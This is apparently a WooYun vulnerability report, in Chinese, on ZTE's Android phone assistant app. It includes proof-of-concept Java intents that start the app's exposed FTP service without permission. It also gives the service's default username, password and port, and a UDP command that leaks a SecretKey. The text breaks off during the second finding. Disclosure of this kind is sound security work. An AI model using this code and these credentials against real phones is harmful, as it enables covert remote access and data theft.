WooYun.org

中兴手机助手是中兴官方的安卓智能手机管理软件，官方下载地址为http://joinme.ztems.com/，我们测试的安卓版本为最新版2.1.66.3224，百度搜索显示下载量已有86万，不知中兴手机是否内置该应用。
包括两个漏洞：
第一个漏洞：本地组件暴露导致提权，只要用户安装中兴手机助手，无需任何权限的本地恶意应用就可在用户不知情的情况下启动供远程访问的FTP服务，且该FTP服务具有默认的用户名和密码。
暴露的两个安卓组件分别为 com.joinme.ftp.FtpServerService和JoinMeServiceReceiver。通过如下代码，

m_testbutton1=(Button)findViewById(R.id.BySvc);
        m_testbutton1.setOnClickListener(new OnClickListener()
        {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
i.setAction("com.joinme.ftp.FtpServerService");
startService(i);
}
        });

或者

m_testbutton2=(Button)findViewById(R.id.ByReceiver);
        m_testbutton2.setOnClickListener(new OnClickListener()
        {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
i.setAction("android.intent.action.JoinMe_Ftp_Server_Service_Start");
sendBroadcast(i);
}
        });

之一即可启动手机助手内置的FTP服务。
正常情况下启用服务需要用户干预，如图

在用户不知情的情况下开启服务（只需要手机安装中兴手机助手）

FTP服务还具有内置的默认用户名和密码，并在端口2121监听。如下图，见位于
FtpServerService中的代码片段。
加载FTP服务设置

跟入Defaults类，得到默认username、password为JoinMe，port为2121

第二个漏洞：在手机助手后台运行的情况下，泄露SecretKey，导致可在WIFI环境远程控制手机
在分析第一个漏洞的时候，发现了第二个漏洞，与这个漏洞相比，上一个漏洞简直不算啥。
漏洞位于 JoinMeUdpService,该服务打开udp的65532端口监听，接收特定的命令字后可返回手机的敏感信息，包括SecretKey
如图，JoinMeUdpService的doListen方法

跟入doComm，可发现特定的命令为“JoinMe Broadcast"